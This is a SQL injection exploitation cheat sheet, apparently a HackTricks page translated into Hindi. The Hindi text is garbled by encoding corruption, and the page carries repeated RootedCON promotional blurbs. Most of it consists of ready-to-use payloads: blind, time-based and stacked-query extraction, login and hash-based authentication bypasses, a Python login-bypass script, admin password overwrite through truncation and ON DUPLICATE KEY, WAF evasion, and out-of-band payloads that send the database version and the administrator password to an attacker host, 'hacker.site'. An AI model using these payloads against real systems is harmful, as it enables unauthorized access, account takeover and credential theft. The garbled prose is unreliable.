рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдк рдХреНрд╡реЗрд░реА рдХреЗ рдкрд░рд┐рдгрд╛рдо рдпрд╛ рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреЛ рдирд╣реАрдВ рджреЗрдЦ рд╕рдХрддреЗ, рд▓реЗрдХрд┐рди рдЖрдк distinguished рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрдм рдХреНрд╡реЗрд░реА return рдПрдХ true рдпрд╛ false рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреНрдпреЛрдВрдХрд┐ рдкреГрд╖реНрда рдкрд░ рд╡рд┐рднрд┐рдиреНрди рд╕рд╛рдордЧреНрд░реА рд╣реЛрддреА рд╣реИред
рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЖрдк рдЙрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ рдЕрдХреНрд╖рд░ рджрд░ рдЕрдХреНрд╖рд░ рдбрдВрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

рдпрд╣ рдкрд╣рд▓реЗ рдХреЗ рд╕рдорд╛рди рдорд╛рдорд▓рд╛ рд╣реИ рд▓реЗрдХрд┐рди рдЖрдк рдХреНрд╡реЗрд░реА рд╕реЗ рд╕рд╣реА/рдЧрд▓рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рдмреАрдЪ рдЕрдВрддрд░ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп SQL рдХреНрд╡реЗрд░реА рдореЗрдВ рдПрдХ рддреНрд░реБрдЯрд┐ рдХреЗ рдмреАрдЪ рдЕрдВрддрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдирд╣реАрдВ (рд╢рд╛рдпрдж рдХреНрдпреЛрдВрдХрд┐ HTTP рд╕рд░реНрд╡рд░ рдХреНрд░реИрд╢ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ)ред рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдк рд╣рд░ рдмрд╛рд░ SQLerror рдХреЛ рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрдм рдЖрдк рд╕рд╣реА рдЕрдХреНрд╖рд░ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рддреЗ рд╣реИрдВ:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Exploiting Time Based SQLi

рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдХреЛрдИ рддрд░реАрдХрд╛ рдирд╣реАрдВ рд╣реИ рдХрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкреГрд╖реНрда рдХреЗ рд╕рдВрджрд░реНрдн рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЕрд▓рдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рд▓реЗрдХрд┐рди, рдЖрдк рдкреГрд╖реНрда рдХреЛ рд▓реЛрдб рд╣реЛрдиреЗ рдореЗрдВ рдЕрдзрд┐рдХ рд╕рдордп рд▓реЗрдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ рдЕрдиреБрдорд╛рдирд┐рдд рд╡рд░реНрдг рд╕рд╣реА рд╣реИред рд╣рдордиреЗ рдкрд╣рд▓реЗ рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ SQLi vuln рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреЗрдЦрд╛ рд╣реИред

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

рдЖрдк рд╕реНрдЯреИрдХреНрдб рдХреНрд╡реЗрд░реАрдЬрд╝ рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдХреЗ рдмрд╛рдж рдПрдХ рдХрдИ рдХреНрд╡реЗрд░реАрдЬрд╝ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЬрдмрдХрд┐ рдмрд╛рдж рдХреА рдХреНрд╡реЗрд░реАрдЬрд╝ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреА рд╣реИрдВ, рдкрд░рд┐рдгрд╛рдо рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рд╡рд╛рдкрд╕ рдирд╣реАрдВ рдХрд┐рдП рдЬрд╛рддреЗред рдЗрд╕рд▓рд┐рдП рдпрд╣ рддрдХрдиреАрдХ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдмреНрд▓рд╛рдЗрдВрдб рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ рдЙрдкрдпреЛрдЧреА рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк рдПрдХ рджреВрд╕рд░реА рдХреНрд╡реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ DNS рд▓реБрдХрдЕрдк, рд╢рд░реНрддреАрдп рддреНрд░реБрдЯрд┐, рдпрд╛ рд╕рдордп рд╡рд┐рд▓рдВрдм рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

Oracle рд╕реНрдЯреИрдХреНрдб рдХреНрд╡реЗрд░реАрдЬрд╝ рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░рддрд╛ред MySQL, Microsoft рдФрд░ PostgreSQL рдЙрдирдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВ: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

рдпрджрд┐ рдХреЛрдИ рдЕрдиреНрдп рд╢реЛрд╖рдг рд╡рд┐рдзрд┐ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддреА, рддреЛ рдЖрдк рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдмрд╛рд╣рд░реА рд╣реЛрд╕реНрдЯ рдкрд░ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, DNS рдХреНрд╡реЗрд░реАрдЬрд╝ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

XXE рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЖрдЙрдЯ рдСрдл рдмреИрдВрдб рдбреЗрдЯрд╛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрд╢рди

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automated Exploitation

Check the SQLMap Cheatsheet to exploit a SQLi vulnerability with sqlmap.

Tech specific info

рд╣рдо рдкрд╣рд▓реЗ рд╣реА SQL Injection vulnerability рдХреЛ exploit рдХрд░рдиреЗ рдХреЗ рд╕рднреА рддрд░реАрдХреЛрдВ рдкрд░ рдЪрд░реНрдЪрд╛ рдХрд░ рдЪреБрдХреЗ рд╣реИрдВред рдЗрд╕ рдкреБрд╕реНрддрдХ рдореЗрдВ рдХреБрдЫ рдФрд░ рддрдХрдиреАрдХреЗрдВ рдЬреЛ рдбреЗрдЯрд╛рдмреЗрд╕ рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХреА рдкрд░ рдирд┐рд░реНрднрд░ рд╣реИрдВ, рдЦреЛрдЬреЗрдВ:

рдпрд╛ рдЖрдк MySQL, PostgreSQL, Oracle, MSSQL, SQLite рдФрд░ HQL рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╣реБрдд рд╕рд╛рд░реА рддрдХрдиреАрдХреЗрдВ https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection рдореЗрдВ рдкрд╛рдПрдВрдЧреЗред

тАЛтАЛтАЛтАЛтАЛRootedCON рд╕реНрдкреЗрди рдореЗрдВ рд╕рдмрд╕реЗ рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╕рд╛рдЗрдмрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░реНрдпрдХреНрд░рдо рд╣реИ рдФрд░ рдпреВрд░реЛрдк рдореЗрдВ рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИред рддрдХрдиреАрдХреА рдЬреНрдЮрд╛рди рдХреЛ рдмрдврд╝рд╛рд╡рд╛ рджреЗрдиреЗ рдХреЗ рдорд┐рд╢рди рдХреЗ рд╕рд╛рде, рдпрд╣ рдХрд╛рдВрдЧреНрд░реЗрд╕ рд╣рд░ рдЕрдиреБрд╢рд╛рд╕рди рдореЗрдВ рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХреА рдФрд░ рд╕рд╛рдЗрдмрд░ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢реЗрд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрд╖реНрдгрдХрдЯрд┐рдмрдВрдзреАрдп рдмреИрдардХ рдмрд┐рдВрджреБ рд╣реИред

{% embed url="https://www.rootedcon.com/" %}

Authentication bypass

рд▓реЙрдЧрд┐рди рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реВрдЪреА:

{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}

Raw hash authentication Bypass

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

рдпрд╣ рдХреНрд╡реЗрд░реА рдПрдХ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддреА рд╣реИ рдЬрдм MD5 рдХреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЬрд╛рдВрдЪреЛрдВ рдореЗрдВ рдХрдЪреНрдЪреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреЗ рд▓рд┐рдП рд╕рддреНрдп рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рд┐рд╕реНрдЯрдо SQL injection рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рднреБрдирд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрддреЗ рд╣реИрдВ рдХрд┐ рд╡реЗ рдРрд╕реЗ рдЗрдирдкреБрдЯ рддреИрдпрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ, рдЬрдм рд╣реИрд╢ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд SQL рдХрдорд╛рдВрдб рднрд╛рдЧ рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рд╣реЛрддреА рд╣реИред

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!

рдЗрдВрдЬреЗрдХреНрдЯреЗрдб рд╣реИрд╢ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдмрд╛рдпрдкрд╛рд╕

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╕реВрдЪреА:

рдЖрдкрдХреЛ рд╕реВрдЪреА рдХреА рдкреНрд░рддреНрдпреЗрдХ рдкрдВрдХреНрддрд┐ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рдФрд░ рд╣рдореЗрд╢рд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП: Pass1234.
(рдпреЗ рдкреЗрд▓реЛрдб рднреА рдЗрд╕ рдЕрдиреБрднрд╛рдЧ рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рдЙрд▓реНрд▓реЗрдЦрд┐рдд рдмрдбрд╝реА рд╕реВрдЪреА рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ)

{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}

GBK рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдмрд╛рдпрдкрд╛рд╕

рдпрджрд┐ ' рдХреЛ рд╕реНрдХреЗрдк рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рддреЛ рдЖрдк %A8%27 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдЬрдм ' рдХреЛ рд╕реНрдХреЗрдк рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ рдпрд╣ рдмрдиреЗрдЧрд╛: 0xA80x5c0x27 (тХШ')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python рд╕реНрдХреНрд░рд┐рдкреНрдЯ:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

рдкреЙрд▓реАрдЧреНрд▓реЙрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди (рдорд▓реНрдЯреАрдХреЙрдиреНрдЯреЗрдХреНрд╕реНрдЯ)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modify password of existing object/user

To do so you should try to create a new object named as the "master object" (probably admin in case of users) modifying something:

  • Create user named: AdMIn (uppercase & lowercase letters)
  • Create a user named: admin=
  • SQL Truncation Attack (рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдпрд╛ рдИрдореЗрд▓ рдореЗрдВ рдХреБрдЫ рдкреНрд░рдХрд╛рд░ рдХреА рд▓рдВрдмрд╛рдИ рд╕реАрдорд╛ рд╣реЛрддреА рд╣реИ) --> Create user with name: admin [a lot of spaces] a

SQL Truncation Attack

If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user admin, try to create a username called: "admin [30 spaces] a" and any password.

The database will check if the introduced username exists inside the database. If not, it will cut the username to the max allowed number of characters (in this case to: "admin [25 spaces]") and the it will automatically remove all the spaces at the end updating inside the database the user "admin" with the new password (some error could appear but it doesn't means that this hasn't worked).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Add as much ','','' as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

MySQL рдореЗрдВ ON DUPLICATE KEY UPDATE рдХреНрд▓реЙрдЬрд╝ рдХрд╛ рдЙрдкрдпреЛрдЧ рддрдм рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рдПрдХ рдкрдВрдХреНрддрд┐ рдХреЛ рдбрд╛рд▓рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ UNIQUE рдЗрдВрдбреЗрдХреНрд╕ рдпрд╛ PRIMARY KEY рдореЗрдВ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдорд╛рди рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрдЧрд╛ред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рджрд┐рдЦрд╛рддрд╛ рд╣реИ рдХрд┐ рдЗрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЦрд╛рддреЗ рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

Example Payload Injection:

рдПрдХ рдЗрдВрдЬреЗрдХреНрд╢рди рдкреЗрд▓реЛрдб рдЗрд╕ рдкреНрд░рдХрд╛рд░ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд╣рд╛рдБ users рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рджреЛ рдкрдВрдХреНрддрд┐рдпрд╛рдБ рдбрд╛рд▓рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдкрд╣рд▓реА рдкрдВрдХреНрддрд┐ рдПрдХ рдбрд┐рдХреЙрдп рд╣реИ, рдФрд░ рджреВрд╕рд░реА рдкрдВрдХреНрддрд┐ рдПрдХ рдореМрдЬреВрджрд╛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреЗ рдИрдореЗрд▓ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддреА рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рдирд╛ рд╣реИ:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Here's how it works:

  • рдХреНрд╡реЗрд░реА рджреЛ рдкрдВрдХреНрддрд┐рдпрд╛рдБ рдбрд╛рд▓рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреА рд╣реИ: рдПрдХ generic_user@example.com рдХреЗ рд▓рд┐рдП рдФрд░ рджреВрд╕рд░реА admin_generic@example.com рдХреЗ рд▓рд┐рдПред
  • рдпрджрд┐ admin_generic@example.com рдХреЗ рд▓рд┐рдП рдкрдВрдХреНрддрд┐ рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж рд╣реИ, рддреЛ ON DUPLICATE KEY UPDATE рдХреНрд▓реЙрдЬ рд╕рдХреНрд░рд┐рдп рд╣реЛрддрд╛ рд╣реИ, MySQL рдХреЛ рдореМрдЬреВрджрд╛ рдкрдВрдХреНрддрд┐ рдХреЗ password рдлрд╝реАрд▓реНрдб рдХреЛ "bcrypt_hash_of_newpassword" рдореЗрдВ рдЕрдкрдбреЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред
  • рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдкреНрд░рдорд╛рдгреАрдХрд░рдг admin_generic@example.com рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ bcrypt рд╣реИрд╢ ("bcrypt_hash_of_newpassword" рдирдП рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ bcrypt рд╣реИрд╢ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдЗрдЪреНрдЫрд┐рдд рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╣реИрд╢ рд╕реЗ рдмрджрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП) рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

Extract information

Creating 2 accounts at the same time

рдЬрдм рдПрдХ рдирдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдмрдирд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рдИрдореЗрд▓ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

рджрд╢рдорд▓рд╡ рдпрд╛ рд╣реЗрдХреНрд╕рд╛рдбреЗрд╕рд┐рдорд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛

рдЗрд╕ рддрдХрдиреАрдХ рдХреЗ рд╕рд╛рде рдЖрдк рдХреЗрд╡рд▓ 1 рдЦрд╛рддрд╛ рдмрдирд╛рдХрд░ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдЖрдкрдХреЛ рдХреБрдЫ рднреА рдЯрд┐рдкреНрдкрдгреА рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред

hex2dec рдФрд░ substr рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

рдЯреЗрдХреНрд╕реНрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

__import__('binascii').unhexlify(hex(215573607263)[2:])

рд╣реИрдХреНрд╕ рдФрд░ рд░рд┐рдкреНрд▓реЗрд╕ (рдФрд░ рд╕рдмреНрд╕реНрдЯреНрд░):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

тАЛтАЛтАЛтАЛтАЛтАЛRootedCON рд╕реНрдкреЗрди рдореЗрдВ рд╕рдмрд╕реЗ рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╕рд╛рдЗрдмрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░реНрдпрдХреНрд░рдо рд╣реИ рдФрд░ рдпреВрд░реЛрдк рдореЗрдВ рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИред рддрдХрдиреАрдХреА рдЬреНрдЮрд╛рди рдХреЛ рдмрдврд╝рд╛рд╡рд╛ рджреЗрдиреЗ рдХреЗ рдорд┐рд╢рди рдХреЗ рд╕рд╛рде, рдпрд╣ рдХрд╛рдВрдЧреНрд░реЗрд╕ рд╣рд░ рдЕрдиреБрд╢рд╛рд╕рди рдореЗрдВ рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХреА рдФрд░ рд╕рд╛рдЗрдмрд░ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢реЗрд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдмрд╛рд▓рддрд╛ рд╣реБрдЖ рдмреИрдардХ рдмрд┐рдВрджреБ рд╣реИред

{% embed url="https://www.rootedcon.com/" %}

Routed SQL injection

Routed SQL injection рдПрдХ рдРрд╕реА рд╕реНрдерд┐рддрд┐ рд╣реИ рдЬрд╣рд╛рдБ injectable query рд╡рд╣ рдирд╣реАрдВ рд╣реИ рдЬреЛ рдЖрдЙрдЯрдкреБрдЯ рджреЗрддреА рд╣реИ, рдмрд▓реНрдХрд┐ injectable query рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рдЙрд╕ query рдореЗрдВ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдЖрдЙрдЯрдкреБрдЯ рджреЗрддреА рд╣реИред (From Paper)

Example:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

рдХреЛрдИ рд╕реНрдкреЗрд╕ (%20) - рд╡реНрд╣рд╛рдЗрдЯрд╕реНрдкреЗрд╕ рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - рдкреЗрд░реЗрдВрдЯреЗрд╕рд┐рд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕

?id=(1)and(1)=(1)--

No commas bypass

рдХреЛрдИ рдХреЙрдорд╛ - OFFSET, FROM рдФрд░ JOIN рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generic Bypasses

